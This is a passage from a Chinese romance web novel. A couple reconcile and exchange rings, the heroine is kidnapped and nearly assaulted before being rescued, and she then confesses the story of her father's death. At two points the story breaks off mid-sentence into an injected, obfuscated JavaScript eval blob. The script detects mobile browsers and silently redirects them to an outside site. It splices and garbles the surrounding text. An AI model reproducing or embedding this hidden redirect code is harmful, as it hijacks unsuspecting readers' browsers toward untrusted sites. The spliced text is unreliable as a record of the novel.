什么联姻……贺章彻底反应过来,今天闹到现在,都是为什么。 他蹙眉不悦道:“你信一篇捕风捉影的报道,不信我?!” 说完还不解恨,照着她后腰就拍了一巴掌。 皮一夏身体一抖,委屈地打还回去:“那可不是捕风捉影。我都看见照片了。男才女貌,门当户对,你还对人家笑……” “我是怎么笑的,你倒是学学。” 皮一夏扯了扯嘴角,又“哼”了一声偏过头:“凭什么你让我干嘛就干嘛!” 转瞬被贺章扭正了脸。 四目相对,一个噘着嘴不满,一个冷着脸不悦。 贺章忽然低头,含住那张嘴狠狠嘬弄,放开之前,还咬了一口,力道不算轻。 他早就想这么干了! 让他心神不宁了六天零一夜的丫头。 皮一夏拿手捂着嘴,怒瞪着他:“你别以为你说了……”爱我。这两个字她说不出口,说实话也不是很信,顿了顿,才继续说,“……就可以为所欲为!” 而且,就算说了又怎么样呢?他们的身份差距摆在这里,她的自卑感已经彻底被翻出来,再也压不下去了。 皮一夏眼里的光渐渐暗淡下去,头也低了。 贺章受不了她不看他,两指捏着下巴,又把她脸抬起来。 “不管那报道里胡说八道了些什么,你都不许信。我已经表明了心意,你不准退回!” 他是不做亏本买卖的生意人、资本家,给出什么东西,一定要收回至少同等价值的回报。 可他转念又想,她不是生意场上的人,只是个看似聪明实则憨傻的姑娘,憨得他都不忍心再呵斥,免得又噘起嘴,委屈给他看。 “我这次去香港,确实是去谈投资合作的。但不管成不成,都不会有联姻。如果我要结婚,人选只有一个。” 她心里一动,咬住嘴唇,等他继续说。 可贺章没有再继续,她等不及,直接问出口:“是谁?”眼含期待,紧紧盯着他。 贺章嘴角一勾:“你说呢……”他低低在她唇边说,“想我吗?” 皮一夏矜持了两秒,笑起来,手臂绕在他颈后,小声说:“想。每天每时每刻每分每秒都想。” 贺章已经是一炉烧红的热碳,只差她丢个火星,就要燃起熊熊烈焰。衣服散乱地落在地上,大火烧得他神志不清,只想狠狠地霸占她,来填塞心里那个即便抱她千百遍也填不满的洞。 可她忽然呻吟一声。不是欢愉,倒像是真的痛苦,他一下子清醒:“怎么了?哪里疼?” 皮一夏不肯说,只是抬头勾住他后颈,嘟囔:“哪里都疼。”就要让他继续。 在这样蓄势待发的时刻,贺章还是没办法不顾及她。 “说实话。” 她不满地嘟了嘟嘴,确认他不打算继续,只好说:“脚疼。” “怎么会脚疼?” 他翻身坐起,揭开被子。 “哪只脚?” “……左脚。” 贺章从脚背捏到脚踝,引发她一连串惊痛的呼声。他的脸色也慢慢沉了。 “谁干的?!” 47. 关系 Lola & 他以为又是被人欺负的。 一时间满腔怒火,只想喝问她,为什么不会保护自己,一会儿掉水里一会儿挨耳光,现在还被人伤了脚。 恐怕他的语气是有点吓人,她忍不住抖了下才说:“我自己……” “说实话!”她已经没有信用寄存在他这里了。 皮一夏缩回脚,抓住他手晃了晃:“真的是我自己,走回来的路上,和一个骑电动的女生撞了。是我自己拖个行李箱,挡了人家的路,人家也摔倒了,还没让我赔偿。” 他没话说了。 严格算起来,今晚这桩事还是他惹起来的。 但她问都不问一句,就自作主张给他论罪入刑,实在可恨! 恨归恨,看她的脚伤成这样,还是忍不住心疼。 “早怎么不说受伤了?”他斥了一句,就开始穿衣服。 皮一夏忙拖过被子裹住自己,嘟囔着说:“没顾上嘛!” 谁知道他会那么突然地开始,扯她衣服的时候还能忍,可是脚被他抓着……就没忍住。 她脸红红的,见他三下五除二收拾好自己,便也开始穿衣服。 贺章站在床边问:“伤药放在哪?” “没有伤药。” “为什么没有?”他不能理解。 “谁没事会在家里备伤药啊?盼着自己受伤嘛……”这还要问。 贺章掐着腰踱了两步,眼见她衣服都穿好了,便一把横抱起来往外走。 “干嘛去?”她惊问。 “去医院。” “我不去医院!不用去医院,伤得不严重。” 贺章冷脸:“你是医生还是X光机,怎么就知道伤得不严重,少废话。” “……”憋气! 走到门口,他忽然想起什么,又折回书架前,朝那一板药片抬了抬下巴,皮一夏伸手拿过去。 “这是什么药?”贺章问。 “治哮喘的。” 贺章满腹狐疑,盯着她看了会儿,却没有再问。 到医院挂了急诊,拍了片子,医生说是软组织挫伤,没伤到骨头,开了外涂的药。 从医院出来已经十一点了,回去的路上,她抱着他手臂,懒懒的不想说话,他这一晚上也消耗了太多精神,觉得此刻的静谧最舒服。 快到家时,皮一夏忽然接到苏晨雪的微信,问她到家了吗。刚才她拖着行李箱往小区走的时候,就接到苏苏的电话,那会儿她心情不好,借口手里拿着东西不方便,聊了两句就挂了。 手机在屏幕上敲字,她发了一句:「到了,放心吧,我没事。」 很快又收到回复。 「那就好。刚刚Ethan突然给我打电话,语气有点吓人,问你在不在我家,我说不在,他又问,你可能会去哪。这还是我第一次接到他的电话,不过,他为什么要找你呀?」 皮一夏偏头看贺章,恰对上他的视线。 “怎么了?”他问。 她眨眨眼,笑起来:“苏苏问,你为什么要找我。我应该怎么回她?” 贺章淡定道:“家里养的小野猫丢了,我不该找吗?” “哼!”她登时变脸,松开与他交握的手,一瞬又被抓回去,怎么都掰不开,“你是小野狗。” 贺章低笑一声:“猫狗配,也挺好。”顿了顿,又道,“告诉她,女朋友离家出走,我去抓她回去受罚。” 皮一夏瞪了他一会儿,瞪不下去了。 他说“女朋友”。他们是男女朋友了。她开心死了!可嘴上偏要傲娇。 “谁是你女朋友!我可没同意。” 贺章仍然淡定:“我说错了,确实不是。” 她一下子蒙了。 他是在开玩笑吗?怎么又不承认了……那刚刚在她家,他们是在干什么?! 皮一夏盯着他看了好一会儿,感觉他似乎不是开玩笑,于是又开始委屈,偏过脸不理他了。 想起苏苏还在等回复,随手回了一句:「他脑子不清楚,想让我帮他买药。」 到了他家车库,她坐着不动:“我要回我自己家,谁说要来你家了!” 贺章开门把她抱出来,低声哄:“别气了,擦完药再说,嗯?” 她一下子就心软了:“你放我下来,我能走。” “可是我想抱。” 他说的这么直白,她心里又开始得意:“我不跟你一般见识,勉强让你抱一下。” 贺章忍不住翘起嘴角,亲了亲她:“是。公主殿下。” 呜……他怎么突然这么会说情话!是不是被什么花花公子给夺舍了? 回到别墅客厅,贺章抱着她坐到沙发上,拿出医院开的药,给她涂伤处。 她的脚长得白皙有轻微肉感,因此红肿起来更加明显,碰一下就“嘶”声,贺章沉着脸,一面心疼,一面又忍不住斥责。 “这个大个人了,玩离家出走还搞得这么悲情,就不能打个车?你是差那点车费吗?为什么要走回去?” 她也不知道当时是怎么想的。 拖着行李箱出来,就想走一走,最好这条路远得没有尽头,她可以慢慢离开他,也许还没走到家,就已经不喜欢他了。 可这些她是不会说的,不然显得她更蠢。 “我愿意!”她张嘴怼了一句。 贺章低哼一声,手指抵着她额头推了一下。 皮一夏身子一歪,侧脸靠在他肩头,伸手搂住了他脖子。 “Ethan。” “嗯。” “我们到底是什么关系呀?”不打算明确跟她说吗。 “不是你要做床伴吗?” 贺章瞥她一眼,抽了张湿纸巾,擦干净手上的药膏,双手搂住她的腰。 皮一夏噘着嘴,满脸不乐意。 “怎么?又不想做床伴了?那你觉得是什么关系?” 她抬了抬眼,不说话。 贺章随手扯过张毯子,盖住她的腿。 Oliver原本在沙发下面蹲着,忽然跳到她腿上,窝在毛茸茸的毯子里不动了。 贺章抱着一人一狗,嘴角抿了抿,缓缓开口:“夏夏。” “……嗯。”她闷闷地出声。 “还记不记得,在温泉酒店赏月那晚,我的愿望是什么?” 她一愣,回想着说:“你想,惩罚一个人?”可是为什么忽然说这个? “嗯。”贺章拇指抚着她的脸,“我想惩罚的人,是你。” “……”太吓人了吧! 她想看爱情片,他要播惊悚片?皮一夏双眼圆瞪坐直了身子。 “我要惩罚你,在巴塞罗那欺骗我,利用完我又不告而别,让我心神不宁,变得越来越不像自己。一开始我没有章法,后来才发现,最好的办法就是把你拴在身边,让你日日夜夜只能看着我。你说爱情是男女之间彼此心意相通,想永远和对方在一起,我懂了。我们的关系,你以前定义为床伴也好,现在说是男女朋友也罢,都随你。我只有一个要求,你这辈子只能和我在一起。不管遇到什么事,要相信我,试着依靠我,不准变心,不准提分手,听见了吗?” 明明是浪漫的情话,偏偏让他说得掷地有声,仿佛是一道不可违逆的命令,这么冷硬的一个男人,这么不懂情趣的一个男人,怎么就让她遇上了。 还让她沦陷到无法自拔。 贺章见她只是傻笑,不给回应,不由得皱眉,掐了掐她的脸:“说话。” “好的,老板。”她声音清脆地说。 贺章嘴角噙笑,亲了她一下。 转瞬不知从哪变出一个心形的红色小盒子,半个手掌大。 她讶然盯着,心跳渐渐加快。 贺章打开,里面放着一对铂金戒指,女款镶钻,男款只有一个素圈。 “拿出来看看。”他说。 皮一夏迟疑着,不敢拿。 刚确立关系,就要收他这么贵重的礼物吗? “是不是太快了……” 贺章警告地看了她一眼:“不要在这个时候,破坏我的心情。这东西的价值,远不如刻在内环的两个名字。” “……哦。”霸总属性一出,她立刻打住矫情,“什么名字呀?” 她拈出戒指,对着光线看内环的刻字:Lola&Ethan。 Lola这个名字,不过是她随口胡诌的,现在却被镌刻下来,让巴塞罗那的一场风月变得不再轻浮。 仿佛那是他们之间很重要的开始。 事实上,也正是如此。 “戴吗?”贺章问。 皮一夏抿唇笑着,伸出左手。贺章接过戒指,给她戴到了中指上。 “很高兴遇见你,Lola小姐。” 皮一夏眨了眨眼,取出男款戒指给他戴好。 “认识你是我的幸运,Ethan先生。” 相视一笑,贺章倾身吻住了她。 原本蹲在她腿上的Oliver见状也凑过来,要亲她嘴巴,被贺章扫到了地上,皮一夏忍不住笑,转瞬就被他横抱起来,往二楼走去。 第二天是周六,早饭后,皮一夏坐在花园草坪的躺椅上,身上盖着墨绿色毛毯,从脖子遮到脚,懒洋洋沐浴在明媚的秋阳里,手里捧着一杯自制奶茶,时不时喝一口。 不远处,一身休闲装的贺章正在花园里浇水。 他脸长得好看,身材也好看,连干粗活的姿态也好看,慢条斯理不慌不忙,真是赏心又悦目。 皮一夏拿起手机,拍了一张他的背影照,照片放大,仔细欣赏了一会儿,忽然想跟人分享好心情。 点开微信给苏苏发消息。 皮一下很开心:「我有男朋友了。」 过了一会儿,收到她的回复:「哦。」 皮一夏皱眉:「哦?你都不问问是谁吗?」 苏苏:「这个预计谈多久?」 皮一下很开心:「一辈子。」 苏苏发了个捂嘴笑的表情,明显不信,但还是问:「他多大年龄,人怎么样?干什么工作的?」 皮一夏抿唇:「32岁。人有点冷,但对我很好。是做园艺工作的。」 苏苏:「听上去有点普通。」 哼。他才不普通呢。 一抬头,不普通的园艺工作者来到了身侧。 “在跟谁聊天?”贺章问。 “苏苏。”皮一夏仰头,笑眯眯望着他,“Ethan,你把我的活都干了,这怎么好意思呢?今天算我请假,不用你付时薪。” 贺章俯下身,两手撑在躺椅扶手上:“不用不好意思。你会有偿还机会的。” 他嘴角含笑,瞳色漆黑,语气意味深长,她想起昨晚因为她的脚不方便,仍然没能吃上主菜,却吃了很多很多前菜,脸色渐渐涨红。 “你在说什么,我听不懂。” 贺章挑眉:“现在听不懂没关系,以后会懂的。” 说着将她抱起来,换他坐在躺椅上,皮一夏窝在他怀里,下巴抵着他胸膛说:“感觉我们的关系变了,又好像没有变。” 还是跟以前一样,一起吃饭,一起睡觉,亲亲抱抱,一起说很多垃圾话。 “这样是好,还是不好?” 皮一夏想了想:“挺好的。” “挺好的?”他的重音落在第一个字,“那就是不算太好?” “……”这是什么逻辑?不过见他眉心不悦地蹙起,忙又补充,“很好,特别好。” “哦,具体是怎么个好法儿?” “……”要追问这么细吗? 她绞尽脑汁想了会儿:“我以前谈恋爱啊,过了暧昧期之后,就进入常规流程,约饭、看电影,上班的时候相互吐吐槽,生日或节日买买礼物……时间一长,就没意思了,在一起的时候经常是各自玩手机。但是跟你在一起,是不一样的。你不用请我吃饭看电影,也不需要给我买礼物,我不在乎这些,就想常常和你说话,说很多没用的垃圾话。” 贺章从“暧昧期”三个字开始,眉头就皱起来了,听到最后脸都沉了:“我没请过你吃饭?没和你看过电影?没送过礼物?” 皮一夏脑子一懵。 是哦,他也请过她吃饭,还常常做饭,他们也一起看过电影,在三楼的家庭影院,他还送过礼物,先是胸针,又是戒指,都是一看就贵的吓人那种……这样一想,她好像从来没有为他做过什么事欸……有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霸道总裁又来了。他们都没商量过同居这件事,就单方面决定了吗?虽然她也不想和他分开,但毕竟还交着一份房租,就那么空着多浪费……不过这都是后话,不急于现在决定。 “至少让我回去拿两件衣服吧。” 天越来越冷了,留在这的衣服还是初秋薄款。 贺章满意了。 “我送你,中午去接你。” 上午十一点,贺章正在开会,微信视频通话铃声忽然响起。 会议室里,一屋子高管盯着主位上的人。 贺章低头,看到屏幕上的女孩头像,眉心微皱。 按她谨慎的性子,应该不会在工作时间给他打视频,即便有事要问,也会先找林献。 铃声急促,响了两声,他莫名心头一慌,下意识起身往外走,边走边接通。 没等他开口,话筒里就传出一声尖叫:“Ethan救……” 声音戛然而止,闪了一下的侧脸消失了,贺章的心直往下沉。 心脏跳得像鼓在锤,他一边给她拨视频,一边往电梯方向大步走。 走了几步忽然跑起来。 林献不知道发生了什么,紧追出来问:“Ethan,会议暂停还是……”一看他脸色,又立刻改了话头,“需要我做什么?” 贺章没有理会,进了电梯还在打,对面一直没人接。 他的心沉到了底。 吉普车在路上飞驰,林献神色凝重,时不时看向后视镜。 贺章面无表情坐着,看似像平常在公司一样,一手握着手机,另一手搁在膝盖上。他没有再尝试打电话,已经打不通了。 十五分钟后,两人赶到了皮一夏家。 大门是锁着的,贺章没有敲门,直接输密码进去,如他预感的那样,家里没人。 他站在玄关处,忽然感觉有些站不住,拿手撑了下墙,说了句:“报警。” 林献一愣:“是不是出门……” “报警!”话没说完,就被贺章冷声打断。 林献再不敢多言,直接拨打110。 房间里看似没什么变化,但茶几歪了,半瓶茶饮料倒在上面,笔记本电脑是打开的,屏幕不亮。 贺章按键点亮屏幕,需要输入密码才能进入。 他盯着屏幕上的密码输入框,狠狠攥了攥拳,强迫自己冷静下来—— 她刚刚正在工作,有人敲门,她放下电脑,走过去开门,来者不善,直接闯进来,她往屋里跑,边跑边给他打视频,但被人制住了,挣扎中撞歪了茶几。 贺章起身快步走出去,敲开了邻居家门,询问有没有听见什么动静,邻居一脸茫然,说什么也没听见。 说明她被带离时,已经没办法出声求救了。 贺章忽然控制不住地发抖。 林献打完报警电话,过来汇报:“警察很快就到。Ethan,您先别急,皮小姐一定……”他的声音倏地顿住了。 眼前的人双拳紧握,汗水从额角淌至两鬓,漆黑的眸子里尽是茫然,这个向来从容笃定、总有解决办法的人,好像已经神志不清了。 然而仅仅过了几秒,他又恢复了冷静,转身就往电梯走,边走边拨打电话。 一连打了两个,声音和语气听不出异常,靠在耳边的手机却微微晃动。 林献忽然感觉鼻酸,心思一转,给人事部拨电话,要皮一夏的紧急联系人。 照着号码打过去,居然是梁栋接的。 林献还在发怔,贺章一把夺过手机,径直问:“夏夏……皮一夏有没有跟你联系?” 梁栋听出了他的声音,愣了一下说:“没有。皮皮怎么了?” “她不见了。她跟什么人有仇……”说到这里,贺章忽然看林献,“去查Daisy。”接着继续问梁栋,“你知道吗?” “怎么会不见了……” 梁栋的震惊被贺章冷冷打断:“我现在没空跟你解释,问什么,你答什么。”语气丝毫不客气,边说边大步走出电梯。 48. 回家 话筒里静了两秒,梁栋说:“我没听说她跟人有仇,除了之前那个闹到派出所的前男友……对了!我问问小辰,你等一下。” 梁栋挂了电话。 贺章又打开手机通讯录,拨通了孙辉的号码,听他说孙向前正在日本旅游,贺章立刻挂了电话。 走到小区门口的保安亭时,梁栋打过来了。 “喂,Ethan吗?”是皮一辰的声音,“我姐怎么了?怎么会不见了?” 贺章深吸一口气,努力控制想要杀人的冲动。 谁都问他,怎么不见了,天知道,他只想下一秒就见到她。 “你先告诉我,你姐姐有没有跟谁结过怨?或者最近,见过什么危险的人?”贺章尽量稳着声音。 皮一辰喘着粗气,想了想,脱口说:“难道是成涛?!” “成涛是谁?” “我们镇长的儿子,也在北京工作,最近联系上了,想追我姐,不过那人心术不正……” “把他详细信息给我,工作地址、电话。” 皮一辰懵了:“我不知道……我没有他电话,只知道他开了个物流公司,好像叫、远通汇达……” 林献立刻说:“我去查。” 对面皮一辰也道:“那个物流公司跟我兼职的公司有合作,我去问。”说完就挂了电话。 二十分钟后。 警察已经在房间里做完了取证工作,带着两人赶到物业,调出了单元楼里的监控录像。 画面上,一个穿牛仔裤和黑色夹克的中年男人走出电梯,那人长得浓眉厚唇细长眼。 男人敲开了皮一夏家的门,她似乎很惊讶,两人站在门口说了几句话,他不由分说就往里闯,随后关上了门。 贺章紧紧攥着拳,瞳孔黑得像一团化不开的墨。 一分多钟后,房门从里面打开,她被人背着,双眼紧闭,已经没有意识了。 皮一夏醒来时,是在一个阴暗的房子里。 房子大而空旷,看着像个废旧仓库。水泥地面,木头房顶,梁和椽子都暴露在外,两侧墙上各有一排窗户,对面的墙角堆放着几个纸箱、编织袋、塑料桶。 她的手脚都被粗布条绑着,坐在地上。 最初的惊慌过后,她强迫自己冷静下来。 身上衣服完好,只是脏了点,她暗暗松了口气……手机!手机呢? 皮一夏一边挣动手臂,一边四下扫看,没找到手机……成涛不可能让她有机会求救。贺章呢?他一定被吓到了,是不是正在找她?要是没回家就好了,现在怎么办? 身体隐隐发抖,她蹭着地面,一点点往前挪,想挪到对面墙角,找个工具割开捆绑,结果刚挪到房子中间,大门突然被推开了。 皮一夏猛地转头,僵着身子屏住了呼吸。 成涛关上门,朝她走了过来。 “放开我!”她愤怒喊道。 成涛竟然笑了,那张脸看着好猥琐:“别挣扎了,伤了你我也心疼。想好好说话,你偏要激怒我,没办法,我只能带你到这。” “这是什么地方?” “我之前用过的一个仓库,地方很偏,外面没有人。”成涛在他身前蹲下来,抬起了她下巴,“长得真好看,比上高中时还好看。” 皮一夏猛地偏头摆脱了他:“你现在放了我,还有机会,难道你还想蹲局子吗?” “我不想蹲局子,只想跟你结婚。我的物流公司做得不错,你要是同意,我会给你一大笔彩礼。你一个姑娘家,何必这么拼命工作,跟着我当老板娘不好吗?” 皮一夏看着他这张脸,直犯恶心。但眼下的处境,她不能激怒这个人。 她作势思考了一会儿,口气软了:“你连追求的步骤都省略,就想让我跟你结婚吗?有你这么绑着人求婚的吗?你先放开我。” 成涛眯了眯眼:“我不是愣头小子,放开你,你会跑。反正绑着也能说话,只要你答应跟我结婚,年底前我们把婚礼办了,我让你风风光光回镇上。” “你会给我多少彩礼?” “你想要多少?”成涛眼睛亮了起来,“二十万?五十万?你开个数。” 皮一夏沉默片刻:“两百万。” 成涛皱眉,似乎在盘算什么,最后一狠心说:“成。你好好跟我过,别说两百万,以后我给你两千万。” “那你放开我。” 成涛忽然邪邪一笑,伸着头要亲她,皮一夏胃里一阵翻腾,终于装不下去了,不停拿肩膀扛他。 成涛蓦地阴了脸,一手掰过她下巴:“别跟我耍花样。我好好说话的时候,你答应最好,要是不答应,我就先睡了你,看谁还要你!” 他说着又亲了过来,皮一夏冷不防被他舔了一口,差点没吐出来。 “你滚开不许碰我!!” 她疯狂地挣扎叫喊,成涛一把揪着她头发,反手就甩了个耳光,打得她脑子里嗡嗡作响,愣神的功夫,被他压到了身下。 “这么野性,就先睡了再说!” “放开我你放开我……畜生你别碰我!” 皮一夏终于感觉到真正的恐惧,全身不停发抖,心跳得像擂鼓,快要呼吸不了了,拼命叫喊挣扎,状若疯魔地拿头和膝盖去撞他。 成涛突然痛呼一声,捂着下身和额头蜷缩在地。 皮一夏立刻挣扎着翻身坐起,苍白的脸上冷汗如雨,很快,她的呼吸越来越急促,满脸充血倒回地上,胸腔和喉咙憋得快要炸开了,不停抽搐着倒吸气。 昏过去前,眼前出现贺章的脸。 他微笑着,朝他伸出手,温柔地叫:“夏夏。” “夏夏。” 贺章坐在吉普车后座,下颌紧绷,漆黑的眼睛盯着窗外,不停在心中默念这个名字。 路旁的树木一闪而逝,但是太慢了……她每一分钟都有可能发生危险,体内仿佛有一头猛兽突然疯狂咆哮起来,分分钟要挣脱锁链冲出胸口。 “Ethan。”林献盯着后视镜小声说,“马上就到了,这次一定能找到,你别急……” 警察根据车牌号和监控系统,跟着成涛的逃窜轨迹一路往北,开到了五环外,有一段路监控坏掉,失去了车的踪迹。 但他们查到远通汇达物流的旧厂房就在附近村子里,一共两栋,他们刚刚排查了第一栋,没找到人。 如果下一栋再没有,只怕……结果就很难预料了。 天忽然阴了,灰白的云团缠绕在一起,将整个天幕压得极低,似乎在酝酿一场大雨。 吉普车先警车一步,开到旧厂房前的空地上,还没停稳,贺章就推门冲了出去。 没看到一路追随的那辆别克车,他的心不断往下沉,冷风从四面八方钻进身体里,骨头仿佛都在打颤。 “夏夏!”他扬声喊了句。 厂房内的水泥地上,皮一夏缓缓睁开了眼睛。 是被成涛一巴掌扇醒了。 “贱人!婊子!” “和你那个妈一样,勾人的婊子!装死?我今天非要办了你……” 成涛的脸被痛意刺激得变形,开始扯她的衣服,皮一夏全身脱力,勉强抬起头,想去咬他的手,很快又挨了一巴掌。 “成涛……这里是北京,有王法,你敢施暴,我一定、会把你送进监狱……” 她气若游丝地说完,眼光逐渐迷离,整个人仿佛坠入了真空,房顶在她的视线里扭曲成一个巨型怪物,咆哮着朝她扑过来,奇怪的是,她什么也听不见,甚至没有感觉到害怕。 身体缓缓升上半空,冷漠地看着地面,一头张着血盆大口的怪兽,在撕扯一个女孩,她哪里痛?她感受不到,却能听见她心里的声音。 这次逃不掉了……Ethan…… 两行泪顺着眼角滚落在地。皮一夏呜咽着哭出声来。 就在这时,铁门猛地被大力撞开。 巨响声中,她从半空坠落回自己的身体,瞬间感受到一阵尖锐的疼痛,从脚踝传来。 很快,攥着她脚的手撒开了,扑在她身上的人被踹翻。 皮一夏被人抱到怀里。那人有漆黑的头发和眼睛,她想伸手摸一摸,可手还被反绑着。 他的嘴在动,在焦急地叫着什么。 “夏夏!” 她猛然被这两个字拽出真空,四散的眼光渐渐聚焦。 “Ethan?” “是我……是我。”贺章紧紧抱住她,脸颊在她颈侧不停摩挲,“谢天谢地,谢天谢地……是不是很害怕?” 他的声音在抖。 滔天的委屈突然袭来,皮一夏忍不住嚎啕出声,她扑过去搂住他脖子,不停点头,哭得几乎上不来气。 贺章感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807219|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被人一刀捅进了心脏,咬牙忍着心里的恨意,轻声说:“咱们回家。” 他抱起地上的人,转身大步往门口走。林献快速跟上,走出厂房,回到了车里。 贺章将人放到后排,跟林献说了句:“帮我看好她。”两人都还没反应过来,他就关上车门,大步朝警车方向去了。 成涛戴着手铐,被两个警察挟着,正在往警车里送。 贺章走上前,一把掰过他的肩膀,兜头就是一拳,他瞬间扑倒在地,嘴角见了血。 “不许动手!”两个警察厉声呵斥。 贺章充耳不闻,轻松绕开他们,猛地拎住成涛的衣领,将人从地上薅起来,一脚又踹出去很远。坚硬如铁的拳头狠狠砸在成涛身上,贺章揍人揍红了眼,脸色是从未见过的阴沉,手臂青筋暴起,拳拳到肉,警察和随后赶来的林献都拦不住他。 “Ethan!”皮一夏已经从车里出来,踉跄地扑过去,紧紧搂住他腰,惊慌道:“不要打了不要打了……我想回家……” 贺章盯着在地上翻滚哀嚎的人,咬牙攥了攥拳,到底没再过去。冷静了几秒,他转过身,弯腰抱起她,大步回到车里。 林献跟警察周旋了几句,很快也坐进了驾驶位。 车子一路疾驰,皮一夏惊魂未定,一句话不说。他紧紧搂着她,也是一言不发,心脏砰砰跳着,过了很久,神魂才渐渐归位。 四十分钟后,回到丰和壹号别墅,林献离开去处理事情后续,贺章抱着皮一夏回了二楼卧室。 将她放在床上,他要去拿冰袋和毛巾,她搂着他脖子不肯放。 贺章只好坐在床边抱着她:“不是疼吗?我去找东西,给你处理。” 她不说话,贺章扶着她的脸,想凑过去亲一亲,被她偏头躲开了。 “我要洗澡。”她说。 “好,那就先洗澡。” 她的衣服脏兮兮,毛衫扣子掉了两颗,脸颊和额头充血红肿,两只手腕也被勒得破皮流血,脚腕更是惨不忍睹了……贺章心中杀意又起来了。 浴缸里放好了热水,他要帮她脱衣服,皮一夏抓着衣襟:“你出去吧,我自己洗。” 贺章手一顿,摸了摸她的头,什么也没说,转身出去关上了门。 从衣帽间取了她的换洗衣服,贺章站在门口等。 过了一会儿,里面传出哭声,起先是小声地抽泣,之后变成失声恸哭,他终于忍不住,推开门走了进去。 “夏夏。”他蹲在浴缸边,朝她伸出两手。 皮一夏双眼红肿,扑过来一把抱住他。贺章心头隐隐抽痛,慢慢抚她的背,什么安慰的话都说不出来,活了三十多年,他从来没有像今天这样慌乱过,到现在还在后怕,幸好人找到了,幸好没有太晚。 二十分钟后,两人从浴室出来。 伤处经热水一泡,看着更加肿胀可怖,拿冰袋敷了许久也不见消,涂空了整整两管药膏,再包上纱布,全部收拾好之后,贺章抱着她躺进被子里。 “想说话吗?”他问。 皮一夏不吭声。 “那睡一会儿好不好?” 她听话地闭上了眼。 贺章一下一下拍着她,过了很久,她的呼吸渐渐平稳,忽然说了句:“Ethan,我想向你坦白一件事。”声音很轻,语气却郑重。 贺章突觉后背发紧,沉默了片刻才开口。 “你说。” 皮一夏睁开眼睛,盯着他看了一会儿,忽然翻过身去背对他。 “最近公司里有传言,说我害死了我爸爸,你听说了吗?” 贺章松了一口气。他现在有点惊弓之鸟一样,生怕她说出什么要离开他的话。 “听说了。” 皮一夏身子有点僵住:“那你怎么,没有向我求证?” “我在等你亲口告诉我真相。” “如果我告诉你,传言就是真相。”她忽然眼眶发热,“我不是你想象中那种,善良的无暇的女孩,你会离开我吗?” 贺章亲了亲她的发顶:“不会。” “真的吗?” “我想知道真相,只是为了靠近你,分担你藏在心里的事。不是为了求证你是什么样的人,这一点无需求证。” 泪水瞬间涌出眼眶,皮一夏感觉自己虽然罪大恶极,但已经得到了神明的宽恕。 49. 八卦 那些晦暗沉重的过往压在她肩上,已经过去很多年,在这一刻,忽然失去了分量。 她翻过身,面对贺章,在他充满鼓励的目光里,开始慢慢讲述。 那一年,她刚刚升入高二。 妈妈依然常年在杭州打工,爸爸也依然干点组装橱柜的零活,三天打鱼两天晒网,挣的钱还不够他赌博喝酒。 有一个周末,爸爸叫朋友来家喝酒,那人喝醉了,跑到她房间动手动脚,她吓得跑出门,一夜不敢回家。从那以后,她开始长期住校,偶尔回来,多半是为了看看小辰,或者取点生活费。 她有一张银行卡,里面存着妈妈每个月的工资,用来支付家里的开销。那张卡由她来保管,为了防止爸爸找到,她绞尽脑汁,每隔一段时间,就会换一个地方。 结果还是被他找到了。 爸爸撬开了她的房门锁,把屋里翻得底朝天,小辰放学回家,以为遭了贼,吓得去学校找她。 她急匆匆赶回去,发现银行卡不见了。跑了大半个镇子,最后在一家地下室的麻将馆里找到爸爸,钱已经被他输光了。 那是妈妈辛辛苦苦打工好几年,省吃俭用才攒下的三万块。不到一天,就被散尽了。 她一怒之下报了警,警方捣毁了那个赌博据点,拘留了很多人,有的人家底殷实,交了保护费就放出来了,但她没钱,有钱也不会交,就让他吃点苦头吧! 她以为顶多拘留十几二十天,就放出来了,谁知竟然判了一年。她渐渐慌了神,姑姑和叔叔想凑钱把他捞出来,但最后因为谁家出多少,意见不合谈崩了。 紧接着市里开展什么“□□运动”,严查赌博□□这类违法行为,即便有钱,没有人脉关系,也递不上去、捞不出来了。 爸爸坐牢后,她定期去监狱报到,听他破口大骂一通,再回学校上课。就这样过了一年,他出狱了。 出来当天,去学校找她算账,手里拎着空酒瓶子,追着她砸得满头流血,她感到羞愧难当,冲出教室,又跑出了学校。 就在学校前面的大路口,爸爸为了追赶她,被一辆货车撞倒当场昏迷,送到医院治了一个多月,医生宣布脑死亡,最后妈妈做主签字,拔掉了呼吸机。 这就是事情的真相。 “我常常想,为什么我爸爸和别人不一样,哪怕他挣很少的钱,或者不挣钱,整天游手好闲也没关系,只要不去赌,我就可以只爱他,等我长大了,挣钱了,一定好好孝敬他,可现实是,我很想爱他,却又没办法不恨他。但无论我有多恨他,毕竟被他养育了一场,最后我把他送进监狱,又让他被车撞死。如果有下辈子,不管他还认不认我这个女儿,我都会找到他,背上荆条去向他请罪,无论他怎么打我,我都不会再跑了……” 皮一夏声音哽咽,泪流满面。 贺章抚摸着她的头,刚要开口,被她截住了。 “你不要说,这不是我的错,这句话安慰不了我,只会让我更愧疚。我还活着,被人爱着,他却成了地下的一堆白骨,唯一能安慰我的办法,是让他活过来,让我去坐牢,再被车……” 贺章一把捂住了她的嘴。 “不许说这样的话。”他脸色沉着。 皮一夏喉间哽了哽,平复了一下情绪:“这件事说出来,我也轻松了。你刚刚想说什么?” 贺章静静地望着她:“如果有时光机,想回去抱抱十六七岁的皮一夏,等到下辈子,再和她一起,去负荆请罪。” 弯弯的笑眼中,有泪花闪烁。 过了一会儿,贺章忽然说:“你的药,不是治哮喘的。” 